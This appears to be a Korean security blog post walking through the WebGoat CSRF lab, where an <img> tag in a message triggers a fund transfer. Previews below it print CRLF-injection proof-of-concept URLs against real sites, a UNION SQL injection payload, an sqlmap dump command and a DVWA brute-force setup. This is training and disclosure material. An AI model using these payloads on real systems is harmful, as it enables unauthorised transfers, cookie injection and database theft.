기본 콘텐츠로 건너뛰기

Cross Site Request Forgery [ CSRF ]

Cross Site Request Forgery [ CSRF ]





[Description]

CSRF 는 사이트의 취약점을 이용하여 사용자가 원하지 않는 데이터 변경 작업을 수행하는 공격으로 , 주로 게시판에 <img> , <embed> 태그를 허용할경우 발생합니다.

다음은 , 뉴스 그룹에 CSRF 공격이 포함된 이메일을 보내 자금을 이체시켜야 합니다. 자금을 이체시키기 위해선 , "Screen"및 "menu" 매개 변수와 ,"transferFunds" 매개변수가 포함되어 있어야 합니다.


[그림1] 


[그림1] 임의의 문자를 입력 한 그림.

임의의 문자를 입력 후 , Submit 을 누르는 동시에 패킷을 잡아 상세분석을 합니다.





[그림2] 

[그림2] 임의의 문자를 입력한 값을 패킷을 통해 확인하는 그림.

임의의 문자열을 입력 후 패킷을 통해 Request 값을 분석 시  , 다음과 같은 URL 을 통해 값을 전달하고있습니다.

http://localhost:8080/WebGoat/attack?Screen=1915&menu=900&title=test&message=TEST&SUBMIT=Submit 

CSRF 공격을 통해 자금을 이체시키기 위해서는 다음과 같은 매개변수가 필요합니다.

Screen  , menu   ,transferFunds 

즉 다음과 같은 구문이 포함된 값을 전달합니다.

<img src="http://localhost:8080/WebGoat/attack?Screen=1915&menu=900&transferFunds=1 width=1px height=1px">


[그림3] 


[그림3] <img> 태그를 통해 CSRF 구문을 전달하는 그림.

위와 같이 데이터를 전송 시 , 아래와 같은 문구가 출력됩니다. 


위 문구를 클릭 후 , 상세 취약점을 진단합니다.


[그림4] 

[그림 4] 개발자 도구를 통해 작성한 URL을 확인하는 그림.

개발자 도구를 통해 Message 박스 옆 이미지 파일에 대고 검사를 한 후 , 해당 이미지 사진 위치를 파악한 후 , 새로 브라우저를 열어 이미지 파일 주소로 이동합니다.





[그림 5] 



[그림 5] CSRF 에 성공 그림.


위와 같이 CSRF 에 성공합니다.



[그림 6] 


[그림 6] CSRF 코드

CSRF 는 <form> 을 통해서도 취약점 재현이 가능합니다.



[impact]

공격자는 CSRF 취약점을 이용하여 , 사용자도 모르게 공격자에 의해 자금이 이체됩니다.



댓글

이 블로그의 인기 게시물

HackerOne Vulnerability Analysis 1

이 문서는  HackerOne 에서  제출된 많은 보고서들을 토대로 핵심 Payload만 요약하여 직접 작성하였습니다. Link :  https://hackerone.com/ Vulnerabilities list 1. CRLF Injection 2. Open Redirection  3. Cross-Site-Scripting 4. SQL-Injection 5. Path Traversal  CRLF Injection PoC http://www.myshopify.com/xxcrlftest%0aSet-Cookie:test=test3;domain=.myshopify.com; https://www.blackfan.myshopify.com/xxx%0aSet-Cookie:test=test2;domain=.myshopify.com; HTTP Response: HTTP/1.1 302 Moved Temporarily ... Location: http://myshopify.com/xxcrlftest Set-Cookie:test=test;domain=.myshopify.com; PoC: https://engineeringblog.yelp.com/xxcrlftest%0d%0aSet-Cookie:%20test=test;domain=.yelp.com HTTP Response: HTTP/1.1 301 Moved Permanently ... Location: http://engineeringblog.yelp.com/xxcrlftest Set-Cookie: test=test;domain=.yelp.com PoC (Chrome, Internet Explorer) http://gratipay.com/%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; HTTP Resp...

XVWA SQLInjection

XVWA  SQLinjection [그림 1] Summary [그림1] 는 SQL Injection 공격을 시도해 볼 수 있도록 개발된 폼을 제공하고 있습니다. Description [그림 1] 에서 Search 입력 폼에 ' or 1=1 -- 입력 시 특수문자에 대한 필터링이 존재하지 않아 SQLInjection 에 취약한 결과가 나오는것을 확인이 가능합니다. UNION SQLInjection 1' AND 1=0 UNION ALL SELECT 1,@@version,database(),@@datadir,5,6,7# Steps to reproduce 1. 임의의 문자열을 입력 후 Submit 을 누르는 동시에 패킷을 캡쳐합니다. 패킷을 캡처한 이유는 GET 통신이 아닌 POST 방식을 통해 데이터가 현재 전달되고있으므로 패킷을 통해 Body 데이터 정보의 매개변수를 확인하기 위해서입니다. 2. 캡쳐한 패킷은 다음과 같습니다. 3.  sqlmap -u "http://192.168.56.109/xvwa/vulnerabilities/sqli_blind/" --data "item=&search=1234 " -p search --dump 4. password 로 크랙되어있는 문자열들은 다음 사이트를 통해 크랙이 가능합니다. https://www.onlinehashcrack.com/hash-identification.php   Impact 공격자는 SQL Injection 을 통해 데이터베이스 계정정보를 획득할수있습니다.

DVWA Brute Force

DVWA Brute Force [ Security Low ]  [그림 1] Summary [그림1] 는 Brute Force 공격을 시도해 볼 수 있도록 개발된 로그인 폼을 제공하고 있습니다.  Description [그림1] 에서는 로그인 실패 시 로그인 시도 제한 옵션으로  캡차 , 계정잠금 등의 적절한 보안설정이 적용되어 있지 않아 다음과 같은 공격 시도가 가능합니다. 1. 사전파일 대입 2. 무차별대입 Steps to reproduce 1. username=admin password=test 를 입력 후 로그인하는 과정에서 Burp Suite 를 통해 패킷을 잡은 뒤 , Send to Intruder 를 클릭합니다. 이때  Attack type : Sniper  를 선택합니다 .  (공격 대상은 password=§test§ 입니다) POST /DVWA/vulnerabilities/brute/ HTTP/1.1 Host: localhost. Content-Length: 83 Cache-Control: max-age=0 Origin: http://localhost. Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Sec-Fetch-User: ?1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: n...